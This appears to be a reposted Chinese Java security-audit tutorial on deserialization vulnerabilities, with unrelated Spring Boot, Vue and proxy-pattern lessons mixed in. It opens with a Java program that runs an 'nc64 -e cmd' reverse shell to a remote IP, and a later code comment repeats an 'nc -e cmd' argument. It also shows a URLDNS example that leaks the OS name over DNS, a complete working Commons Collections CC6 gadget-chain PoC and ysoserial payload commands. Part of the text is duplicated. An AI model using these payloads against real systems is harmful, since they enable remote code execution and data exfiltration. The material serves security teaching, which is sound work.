package com.woniuxy.d0418;import java.lang.reflect.Method;public class CommandExecutor {public static void main(String[] args) {try {// 获取Runtime类Class<?> runtimeClass = Class.forName("java.lang.Runtime");// 获取getRuntime方法Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");// 调用getRuntime方法获取Runtime对象Object runtimeObject = getRuntimeMethod.invoke(null);// 获取exec方法Method execMethod = runtimeClass.getMethod("exec", String.class);// 调用exec方法执行命令// 这里演示执行"calc"命令,可以根据需要替换为其他命令execMethod.invoke(runtimeObject, "nc64 -e cmd 192.168.10.128 8088");} catch (Exception e) {e.printStackTrace();}}
}

⑥Java序列化和反序列化

序列化就是让数据脱离当前的开发环境 ,反序列化就是把序列化后的数据在转换成当前开发环境中的数据。

序列化的方式 :

  1. 把对象数据转换成流(二进制)
  2. 把对象转换成String类型(项目中一般使用框架做)
public class Student implements Serializable{//在序列化 和 反序列化的时候 id 要保持一致public long serialVersionUID = 567852685352905899L ;private int id;private String stuName;private int age ;private String sex ;public Student() {}public Student(int id, String stuName, int age, String sex) {this.id = id;this.stuName = stuName;this.age = age;this.sex = sex;}public int getId() {return id;}public void setId(int id) {this.id = id;}public String getStuName() {return stuName;}public void setStuName(String stuName) {this.stuName = stuName;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getSex() {return sex;}public void setSex(String sex) {this.sex = sex;}public void study() throws IOException {System.out.println("goog good study ,day day up ;");Runtime runtime = Runtime.getRuntime();runtime.exec("calc.exe");}@Overridepublic String toString() {return "Student{" +"id=" + id +", stuName='" + stuName + '\'' +", age=" + age +", sex='" + sex + '\'' +'}';}
}
@Test
public void Serialize() throws Exception {Student stu = new Student(1,"jim",18,"男");//把学生对象 存储一个文件中OutputStream out = new FileOutputStream("D:\\devlop\\stu.ser");ObjectOutputStream  oos = new ObjectOutputStream(out);//序列化oos.writeObject(stu);oos.close();out.close();
}@Test
public void UnSerialize() throws Exception {InputStream in = new FileInputStream("D:\\devlop\\stu.ser");ObjectInputStream ois  = new ObjectInputStream(in);Student stu = (Student) ois.readObject();stu.study();
}

public long serialVersionUID = 567852685352905899L ; 序列化的版本号 ,反序列化的时候 版本号必须和序列化的时候一样,否则无法反序列化

transient : 关键字 修饰属性 ,被她修饰的属性,序列化时候被忽略

因为上述反序列化之后,必须调用一个方法才能织入我们的漏洞 ,我们想做的是一旦进行反序列化就织入我们的漏洞,那么必须在readObject方法上想办法 ,我们可以采取重写这个方法实现我们的目的 。

public class Student implements Serializable{//在序列化 和 反序列化的时候 id 要保持一致public long serialVersionUID = 567852685352905899L ;private int id;private String stuName;transient private int age ;private String sex ;private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {s.defaultReadObject() ;  //调用原来的反序列化方法Runtime runtime = Runtime.getRuntime();runtime.exec("calc.exe");}
}

我们在做带你们审计时 ,必须在整个系统搜索 readObject 方法

⑦Url 的DNS 审计链(**难点)

1 、Url 的DNS带外

通过url访问的目标站点时,首先要经过DNS对象url的地址解析,解析的过程中,会这个url地址中的信息记录在DNS的日志中,然后我们可以通过爬取这个日志信息,获取这些url带过去的信息,这样会导致我们的信息泄露 。

Java中的类 :InetAddress

public static void main(String[] args) throws UnknownHostException {String property = System.getProperty("os.name").replace(" ","-");System.out.println(property);//获取Cookie中的信息// /etc/passwdInetAddress.getByName(property+"."+"nvueje.dnslog.cn");
}

审计时,关注 getByName 方法 , InetAddress

起点 和 终点 是一个地方

2 、URL的DNS审计链

从Map集合说起 :

public static void main(String[] args) throws MalformedURLException {Map<URL,String> maps = new HashMap<>();URL url = new URL("http://1234567890.jekrm1.dnslog.cn");maps.put(url,"woniuxy"); //代码执行的起点
}
//终点 : InetAddress.getByName("1234567890.jekrm1.dnslog.cn")

这个执行链,我们是从起点 找终点 ,关键是起点和终点我们都知道 。

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);
}

hash 方法

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

hashCode 方法

public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;
}

hashCode

protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);//省略若干代码
}

getHostAddress

protected synchronized InetAddress getHostAddress(URL u) {if (u.hostAddress != null)return u.hostAddress;String host = u.getHost();if (host == null || host.equals("")) {return null;} else {try {u.hostAddress = InetAddress.getByName(host);//省略 若干代码 
}

u.hostAddress = InetAddress.getByName(host);

通过终点找起点 :

工具 :Idea

通过终点方法 getByName(host);

  1. 的在Idea中 使用 右键 选择 :find usages
  2. 站到调用这个方法的类,必须是可序列化的
  3. 当前类中需要重写readObject
  4. 在Object中调用当前执行链的方法

第一步 :

image-20240419113458068

右键此方法:find usages

image-20240419113546236

image-20240419113644446

第二步 :hashcoe 使用 findusages

image-20240419113733044

image-20240419113800327

第三步 :针对 hashcode 继续找 :

image-20240419113917348

image-20240419113941823

第四步 :针对 hash 继续找

HashMap 是可序列化的 ,而且重写了readObject方法 ,就差最后就满足条件 ,readObject中调用执行 执行链中的方法

image-20240419114037611

image-20240419114151899

检查 readObject中 有没有调用 put 或者 putVal 方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject(); putVal(hash(key), key, value, false, false);  //调用了 putVal方法}}
}

执行链的起点 就找到了 是 readObject 方法 ,那也就是说,我们可以通过反序列化进行 url 的dns 解析进行 带外 。

3 、URL的DNS审计链的POC代码

public class TestUrlDns {/*public static void main(String[] args) throws UnknownHostException {String property = System.getProperty("os.name").replace(" ","-");System.out.println(property);//获取Cookie中的信息// /etc/passwdInetAddress.getByName(property+"."+"nvueje.dnslog.cn");}*/public static void main(String[] args) throws Exception {//serilize();unSerilize();}//终点 : InetAddress.getByName("1234567890.jekrm1.dnslog.cn")public static void serilize()  throws Exception{Map<URL,String> maps = new HashMap<>();URL url = new URL("http://wonjiuxy-22222.cufycy.dnslog.cn");maps.put(url,"woniuxy"); //代码执行的起点//把url对象的 hashcode的属性值 改成 -1Class zclass = url.getClass();Field hashcode = zclass.getDeclaredField("hashCode");hashcode.setAccessible(true);hashcode.set(url,-1);OutputStream out = new FileOutputStream("D:/woniu.ser");ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(maps);}public static void unSerilize() throws Exception{InputStream in = new FileInputStream("D:/woniu.ser");ObjectInputStream  ois = new ObjectInputStream(in);ois.readObject();}
}

代码审计时 ,主要核心是审计:

  1. 审计框架 (POM文件)
  2. 从终点 找起点时 ,优先找程序员自己写的代码

⑧Springboot和前端数据分离(主流使用)

1 、SpringBoot

SpringBoot是快速构建web’项目的一个脚手架 ,里面包含了Spring和SpringMvc框架.

创建一个SpringBoot的项目 :

https://start.aliyun.com/

image-20240419143415225

image-20240419143533554

image-20240419143855935

  1. 启动类IdeabootApplication

    package com.woniuxy.ideaboot;import org.mybatis.spring.annotation.MapperScan;
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
    @MapperScan(value = "com.woniuxy.ideaboot.mapper")  //加载此包下的所有接口
    //加载此包下的所有接口
    public class IdeabootApplication {//启动服务器public static void main(String[] args) {SpringApplication.run(IdeabootApplication.class, args);}
    }
    

    执行main方法,就可以启动服务器 加载本系统中所有的类,并创建对象, 所以这个启动类 需要放在 其他类的外面

  2. 开发后台服务UserController

    package com.woniuxy.ideaboot.conatroller;import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;@RestController//创建一个控制器,转换为json格式
    @RequestMapping("user")//定义一个请求路径
    public class UserController {@RequestMapping("/hello")public String hello(String name){return "hello, "+name;}@RequestMapping("/login")public String login(String username,String password){if("admin".equals(username)&&"123".equals(password)){return "login success";}else{return "login fail";}}
    }
  3. 启动服务器,运行启动类的main方法

  4. 通过浏览器访问

    http://localhost:8088/user/login?username=admin&password=adsdsad

  5. SpringBoot集成mybatis

    • 引入依赖pom.xml

      <dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope>
      </dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version>
      </dependency>
      
    • 配置文件application.yaml

      server:port: 8080# 连接数据库的信息
      spring:datasource:driver-class-name: com.mysql.cj.jdbc.Driverusername: rootpassword:url: jdbc:mysql://127.0.0.1:3306/goods?serverTimezone=UTC&useUnicode=true&characterEncoding=utf-8#mybatis 框架配置
      mybatis:mapper-locations: classpath:mappers/*.xml    #配置mybatis的映射文件位置#目的是为了省略resultType里的代码量type-aliases-package: com.woniuxy.ideaboot.entityconfiguration:log-impl: org.apache.ibatis.logging.stdout.StdOutImpl   # 日志输出
      
    • 开发代码

      实体数据代码 :News

      public class News {private int id;private String title ;private String author ;private String content ;private Date createdate ;//省略 set get 方法 
      }
      
    • 开发映射接口 NewsMapper

      package com.woniuxy.ideaboot.mapper;import com.woniuxy.ideaboot.entity.News;
      import org.apache.ibatis.annotations.*;
      import org.springframework.stereotype.Repository;import java.util.List;@Repository
      public interface NewsMapper {List<News> selectNewsByTitle(@Param("tit") String title);@Select("select * from t_news where id = #{id}")News selectNewsByKey(int id);@Insert("insert into t_news (title,author,content,createDate) values (#{title},#{author},#{content},#{createDate}) ")int insertNews(News news) ;@Update("update t_news set title =#{title},author =#{author},content=#{content},createdate = #{createdate} where id = #{id}")int updateNews(News news) ;@Delete("delete from t_news where id = #{id}")int deleteByKey(int id);
      }
      

      在启动类配置一个注解 加载 接口 IdeabootApplication

      package com.woniuxy.ideaboot;import org.mybatis.spring.annotation.MapperScan;
      import org.springframework.boot.SpringApplication;
      import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
      @MapperScan(value = "com.woniuxy.ideaboot.mapper")  //加载此包下的所有接口
      //加载此包下的所有接口
      public class IdeabootApplication {//启动服务器public static void main(String[] args) {SpringApplication.run(IdeabootApplication.class, args);}
      }
      
    • 映射文件开发NewsMapper.xml

      <?xml version="1.0" encoding="UTF-8" ?>
      <!DOCTYPE mapperPUBLIC "-//mybatis.org//DTD Mapper 3.0//EN""http://mybatis.org/dtd/mybatis-3-mapper.dtd">
      <!--  namespace 指向的是 接口的包名 + 类名  -->
      <mapper namespace= "com.woniuxy.ideaboot.mapper.NewsMapper"><!--写 sql语句 --><select id="selectNewsByTitle" parameterType="string"resultType="News">select * from t_news<!--判断参数是否存在--><where><if test="tit != null">and title like '%${tit}%'</if></where></select>
      </mapper>
      
    • Controller开发NewsController

      package com.woniuxy.ideaboot.conatroller;import com.woniuxy.ideaboot.entity.News;
      import com.woniuxy.ideaboot.mapper.NewsMapper;
      import org.springframework.beans.factory.annotation.Autowired;
      import org.springframework.web.bind.annotation.RequestMapping;
      import org.springframework.web.bind.annotation.RequestParam;
      import org.springframework.web.bind.annotation.RestController;
      import org.springframework.web.bind.annotation.RequestBody;
      import java.util.List;@RestController
      @RequestMapping("/news")
      public class NewsController {@AutowiredNewsMapper newsMapper ; //相当于创建一个newsMapper对象@RequestMapping("/list")public List<News> selectNews(String title) {List<News> list = newsMapper.selectNewsByTitle(title);return list ; //把list集合序列化成一个json字符串}@RequestMapping("/add")public String addNews(@RequestBody News news){//控制台打印newsSystem.out.println(news);int i = newsMapper.insertNews(news);//控制台打印iSystem.out.println(i);if(i>0){return "add success";}else{return "add fail";}}
      }
      

      http://localhost:8088/news/list

2 、前端数据展示

前端数据的展示 ,使用一个框架:Vue

SpringBoot中访问页面,可以把html页面直接放在 static 目录中 (public、/META-INF/resources/、/resources/)

<html>
<head><!-- 生产环境版本,优化了尺寸和速度 --><script src="./scripts/vue.js"></script>
</head><body><div id="app">{{message}}<p v-text="message"></p></div><script>let app = new Vue({el: '#app',data: {message: 'Hello Vue!' ,username : "张三丰"}})</script>
</body>
</html>

Vue的数据 全部是定义在 data 中的。然后同上行绑定 显示到页面中 ,显示时可以通过以下两种方式

  1. 插值表达式

    {{数据的名成}}

  2. 指令

    • v-text
    • v-model
    • v-for
    • v-bind
    • v-if
<html>
<head><meta charset="UTF-8"><!-- 生产环境版本,优化了尺寸和速度 --><script src="./scripts/vue.js"></script><script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
</head><body>
<div id="app">{{message}}<p v-text="message"></p><button @click="showNews()">显示</button><table border="1" width="1000px"><tr><th>ID</th><th>标题</th><th>作者</th><th>创建时间</th><th>操作</th></tr><tr v-for="u in news"><td v-text="u.id"></td><td v-text="u.title"></td><td v-text="u.author"></td><td v-text="u.createdate"></td><td><button>修改</button><button>删除</button></td></tr></table></div><script>let app = new Vue({el: '#app',data: {message: 'Hello Vue!',users:[{id:1,name:'jim',age:18,sex:'男'},{id:2,name:'tom',age:18,sex:'男'},{id:3,name:'lucy',age:18,sex:'男'},{id:4,name:'lily',age:18,sex:'男'}],news:[]},methods:{showNews(){//alert(2222)//请求 http://localhost:8088/news/listaxios.get("http://localhost:8080/news/list").then(res=>{console.log(res.data);this.news = res.data ;});}}})
</script>
</body>
</html>

⑨Common Collections(CC链漏洞)

一、架构和框架

  1. MVC的三层架构 :

image-20240422105106819

  1. Mybatis框架

    只要是操作数据库的框架,都有一个思想 :ORM (Object Relation Mapping) 对象关系映射

    image-20240422110251056

二 、Common Collections(Apache)简介

2.1 、基本功能

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具 类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。可以在Apache官网下载CC的jar文件和源代码,用于代码审计。https://commons.apache.org/proper/commons-collections/ ,本教程以3.2.1版本为例,JDK版本必须在1.8.0_71以下,因为之后的版本无法利用 sun.reflect.annotation.AnnotationInvocationHandler 类进行反序列化处理。可以在此下载JDK源码:https://hg.openjdk.org/jdk8u/jdk8u60/jdk/file/935758609767/src/share/classes (此版本针对1.8.0_60,如果是其他版本,则浏览 https://hg.openjdk.org/ 即可)。

Java集合框架:称为Collection,是Java中存在的一系列操作List、Set和Map的类的集合。Commons Collections扩展了集合框架,增强了很多功能。

public static void main(String[] args) {Map<String,String> maps = new HashMap<>();maps.put("one","安徽");maps.put("two","江苏");maps.put("three","山西");maps.put("four","山东");maps.put("five","浙江");for (String key :maps.keySet()) {System.out.println(key +"----"+maps.get(key));}System.out.println("==============================");Map<String,String>  ordersMap = new LinkedMap();ordersMap.put("one","安徽");ordersMap.put("two","江苏");ordersMap.put("three","山西");ordersMap.put("four","山东");ordersMap.put("five","浙江");for (String key :ordersMap.keySet()) {System.out.println(key +"----"+ordersMap.get(key));}
}

https://blog.csdn.net/weixin_42116348/article/details/135141091

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
2.2 、CC链漏洞(模拟CC6)

由于使用了 Common Collections(Apache) 工具,然后此工具了有一些安全漏洞 ,使用发现的顺序进行命名的漏洞 。

Common Collections 工具的漏洞,全部都是反序列化漏洞 。

下面以CC6的漏洞为例 ,研究一下CC6的执行过程,并且构建CC6的POC代码 。

  1. CC6的终点在哪里呢 ?
public class InvokerTransformer implements Transformer, Serializable{private static final long serialVersionUID = -8653385846894047688L;private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs = iArgs;;public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) { //参数传递使用是多态   Runtime对象if (input == null) {return null;} else {try {// 获取 input的反射对象 Class cls = input.getClass(); //利用反射对象 获取iMethodName 方法的方法对象  iMethodName = exec  iParamTypes=String.classMethod method = cls.getMethod(this.iMethodName, this.iParamTypes);//执行此方法 method  iArgs = nc -e cmd 192.168.12.129 8088return method.invoke(input, this.  iArgs );} catch (NoSuchMethodException var4) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException var5) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException var6) {throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);}}}
}

构建执行终点的POC代码 :

public class TestCC6_01 {public static void main(String[] args) {/*private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;*/String iMethodName = "exec" ;Class[] iParamTypes = new Class[]{String.class} ;Object[] iArgs = new Object[]{"calc.exe"};//构建 Transformer 对象Transformer transformer = new InvokerTransformer(iMethodName,iParamTypes,iArgs);//transformer.transform(Runtime.getRuntime());}
}
  1. CC6执行链过程

    java.io.ObjectInputStream.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()
    

    (1)、第一步(find usages)

    image-20240422151138422

    (2)、第二步

    image-20240422153355819

    (3)、第三步

    image-20240422153832771

    (4)、第四步

    image-20240422154242431

    (5)、第五步

    image-20240422154622390

    (6)、第六步

    image-20240422154942251

    1. HashMap 是可序列化的
    2. HashMap 重写了 readObject方法
    3. readObject 方法中 ,调用 putVal 方法

    反序列漏洞的条件全部满足 ,所以put 方法 就是起点 。终点 :InvokerTransformer —>transformer

  2. CC6执行链的POC代码构建

    public class TestCC6_03 {/*public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}*/public static void main(String[] args) throws Exception {//1.构建 ChainedTransformer 对象000000//private final Transformer[] iTransformers; 构建InvokerTransformer//两个目的 :1.获取Runtime对象  2.执行exec方法/*Runtime runtime = Runtime.getRumtime();//1 .获取 getMethodClass zclass = new Class[].classnew InvokerTransformer("getMethod",new Class[].class},null)*/Transformer[] transformers = new Transformer[]{//返回我们对象new ConstantTransformer(Class.forName("java.lang.Runtime")), // 获取的 Runtime的Class对象    --> Runtime的 Class对象//执行 getMethod方法 --->获取 getRuntime方法的method对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),// ----> 返回的是 Runtime的method对象//public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {//执行Runtime 方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),// ------ >返回的是  Runtime对象//构造的就是执行对象的参数new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//测试//chainedTransformer.transform("1213");//2 .构建 LazyMap对象/*public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/Map lazyMap = LazyMap.decorate(new HashMap(),chainedTransformer);//lazyMap.get();//3. 构建 TiedMapEntry 对象/*public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}*/TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"val");//tiedMapEntry.hashCode();//4.构建 HashMapMap maps = new HashMap();maps.put(tiedMapEntry,"value");//5 .序列化  ObjectInputStreamString path = "E:/cc6.ser";ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));oos.writeObject(maps);oos.close();}
    }
    

    完整的poc代码

    public class TestCC6_03 {/*public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}*/public static void main(String[] args) throws Exception {//1.构建 ChainedTransformer 对象000000//private final Transformer[] iTransformers; 构建InvokerTransformer//两个目的 :1.获取Runtime对象  2.执行exec方法/*Runtime runtime = Runtime.getRumtime();//1 .获取 getMethodClass zclass = new Class[].classnew InvokerTransformer("getMethod",new Class[].class},null)*/Transformer[] transformers = new Transformer[]{//返回我们对象new ConstantTransformer(Class.forName("java.lang.Runtime")), // 获取的 Runtime的Class对象    --> Runtime的 Class对象//执行 getMethod方法 --->获取 getRuntime方法的method对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),// ----> 返回的是 Runtime的method对象//public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {//执行Runtime 方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),// ------ >返回的是  Runtime对象//构造的就是执行对象的参数new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//测试//chainedTransformer.transform("1213");//2 .构建 LazyMap对象/*public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}*/Map lazyMap = LazyMap.decorate(new HashMap(),new ConstantTransformer(null));//lazyMap.get();//3. 构建 TiedMapEntry 对象/*public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}*/TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"val");//tiedMapEntry.hashCode();//4.构建 HashMapMap maps = new HashMap();maps.put(tiedMapEntry,"val");//5、构建完Map集合对象的时候把 chainedTransformer 设置到lazyMap对象中  使用反射设置进去Class zclass = LazyMap.class ;//获取 属性Transformer factoryField factory = zclass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazyMap,chainedTransformer);lazyMap.remove("val");//6 .序列化  ObjectInputStreamString path = "E:/cc6.ser";ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(path));oos.writeObject(maps);oos.close();}
    }
    

    反序列化 :

    public class TestCC6_Reflect {public static void main(String[] args) throws Exception {String path = "E:/cc6.ser" ;ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));ois.readObject();ois.close();}
    }
    

三、Java代理模式

找别人帮自己做一些非核心的事情 。

代理分为两类代理 :

  1. 静态代理

    在程序执行之前,知道代理的对象是谁 。

    • 代理人

      public class Compony implements IWedding{IWedding person ;  //被代理人public Compony(IWedding person){this.person = person ;}private void marryBefore(){System.out.println("布置酒店、场景、鲜花、录音、录像等");}@Overridepublic void marry() {marryBefore();  // 非核心业务person.marry();marrayAfter(); //非核心业务}private void marrayAfter(){System.out.println("婚礼的善后工作");}
      }
      
    • 被代理人

      public class Person implements IWedding{@Overridepublic void marry() {System.out.println("张三和李四结婚了");}
      }
      
    • 核心业务

      public interface IWedding {public void marry() ;
      }
      
    • 非核心业务

    • 测试类

      public class TestWedding {public static void main(String[] args) {IWedding person = new Person(); //被代理对象IWedding proxy = new Compony(person); //代理对象proxy.marry();}
      }
      
  2. 动态代理

    在程序执行过程中,执行代理的操作 。

    动态代理的实现有两种方式 :

    1. 通过JDK的接口 InvocationHandler

      只能代理有接口的类

      public interface IUserDao {void select();void insert();void update();void delete();
      }
      
      public class UserDaoImpl implements IUserDao{@Overridepublic void select() {System.out.println("查询数据湖");}@Overridepublic void insert() {//开启事务//记录日志//数据检查System.out.println("添加数据");//提交事务}@Overridepublic void update() {System.out.println("修改数据");}@Overridepublic void delete() {System.out.println("删除数据");}
      }
      
      public class MyHandler implements InvocationHandler {private Object target; //被代理对象public MyHandler(Object object) {this.target = object;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {tBefore();//执行核心业务Object result = method.invoke(target,args);tAfter();return result;}private void tBefore(){System.out.println("开启事务");}private void tAfter(){System.out.println("提交事务");}
      }
      
      public class TestDynamicProxy {public static void main(String[] args) {//创建一个 被代理对象IUserDao userDao = new UserDaoImpl();//创建handler执行器MyHandler handler = new MyHandler(userDao);//创建代理对象IUserDao  proxy = (IUserDao) Proxy.newProxyInstance(TestDynamicProxy.class.getClassLoader(),new Class[]{IUserDao.class}, handler);//执行业务proxy.update();}
      }
      
    2. 通过 CGlib 包完成

      代理普通类(没有接口的)

四、使用YsoSerial生成序列化数据

ysoserial工具集合了各种Java反序列化Payload,堪称为Java反序列化利用神器。大体分为生成代码、利用库(工具库)、Payloads库、序列化库 这四大库,网址为:https://github.com/frohoff/ysoserial, 可以下载最新版本,也可以阅读其源代码。

(1)运行java -jar ysoserial.jar,不带任何参数,可以获取到ysoserial的用法和内置的Paylod(JDK1.8版本支持)

image-20230724233309819

(2)运行Payload生成序列化数据,再利用Java对序列化数据进行反序列化即可,如:

java -jar ysoserial.jar CommonsCollections1 calc.exe > ysocc1.ser
java -jar ysoserial.jar CommonsCollections6 calc.exe > ysocc6.ser
java -jar ysoserial.jar URLDNS http://123456.ns.matrika.cn > ysourldns.ser

}


反序列化  :```java
public class TestCC6_Reflect {public static void main(String[] args) throws Exception {String path = "E:/cc6.ser" ;ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));ois.readObject();ois.close();}
}

三、Java代理模式

找别人帮自己做一些非核心的事情 。

代理分为两类代理 :

  1. 静态代理

    在程序执行之前,知道代理的对象是谁 。

    • 代理人

      public class Compony implements IWedding{IWedding person ;  //被代理人public Compony(IWedding person){this.person = person ;}private void marryBefore(){System.out.println("布置酒店、场景、鲜花、录音、录像等");}@Overridepublic void marry() {marryBefore();  // 非核心业务person.marry();marrayAfter(); //非核心业务}private void marrayAfter(){System.out.println("婚礼的善后工作");}
      }
      
    • 被代理人

      public class Person implements IWedding{@Overridepublic void marry() {System.out.println("张三和李四结婚了");}
      }
      
    • 核心业务

      public interface IWedding {public void marry() ;
      }
      
    • 非核心业务

    • 测试类

      public class TestWedding {public static void main(String[] args) {IWedding person = new Person(); //被代理对象IWedding proxy = new Compony(person); //代理对象proxy.marry();}
      }
      
  2. 动态代理

    在程序执行过程中,执行代理的操作 。

    动态代理的实现有两种方式 :

    1. 通过JDK的接口 InvocationHandler

      只能代理有接口的类

      public interface IUserDao {void select();void insert();void update();void delete();
      }
      
      public class UserDaoImpl implements IUserDao{@Overridepublic void select() {System.out.println("查询数据湖");}@Overridepublic void insert() {//开启事务//记录日志//数据检查System.out.println("添加数据");//提交事务}@Overridepublic void update() {System.out.println("修改数据");}@Overridepublic void delete() {System.out.println("删除数据");}
      }
      
      public class MyHandler implements InvocationHandler {private Object target; //被代理对象public MyHandler(Object object) {this.target = object;}@Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {tBefore();//执行核心业务Object result = method.invoke(target,args);tAfter();return result;}private void tBefore(){System.out.println("开启事务");}private void tAfter(){System.out.println("提交事务");}
      }
      
      public class TestDynamicProxy {public static void main(String[] args) {//创建一个 被代理对象IUserDao userDao = new UserDaoImpl();//创建handler执行器MyHandler handler = new MyHandler(userDao);//创建代理对象IUserDao  proxy = (IUserDao) Proxy.newProxyInstance(TestDynamicProxy.class.getClassLoader(),new Class[]{IUserDao.class}, handler);//执行业务proxy.update();}
      }
      
    2. 通过 CGlib 包完成

      代理普通类(没有接口的)

四、使用YsoSerial生成序列化数据

ysoserial工具集合了各种Java反序列化Payload,堪称为Java反序列化利用神器。大体分为生成代码、利用库(工具库)、Payloads库、序列化库 这四大库,网址为:https://github.com/frohoff/ysoserial, 可以下载最新版本,也可以阅读其源代码。

(1)运行java -jar ysoserial.jar,不带任何参数,可以获取到ysoserial的用法和内置的Paylod(JDK1.8版本支持)

[外链图片转存中…(img-1EFmtnVb-1713945829860)]

(2)运行Payload生成序列化数据,再利用Java对序列化数据进行反序列化即可,如:

java -jar ysoserial.jar CommonsCollections1 calc.exe > ysocc1.ser
java -jar ysoserial.jar CommonsCollections6 calc.exe > ysocc6.ser
java -jar ysoserial.jar URLDNS http://123456.ns.matrika.cn > ysourldns.ser

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/2723.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 Flutter 打造引人入胜的休闲游戏体验

作者 / Zoey Fan 去年&#xff0c;Flutter 休闲游戏工具包进行了一次重大更新。近期在旧金山举办的游戏开发者大会 (GDC) 上&#xff0c;Flutter 首次亮相。GDC 是游戏行业的顶级专业盛会&#xff0c;致力于帮助游戏开发者不断提升开发技能。欢迎您继续阅读&#xff0c;了解开发…

01、创建型-单例模式--只有一个实例

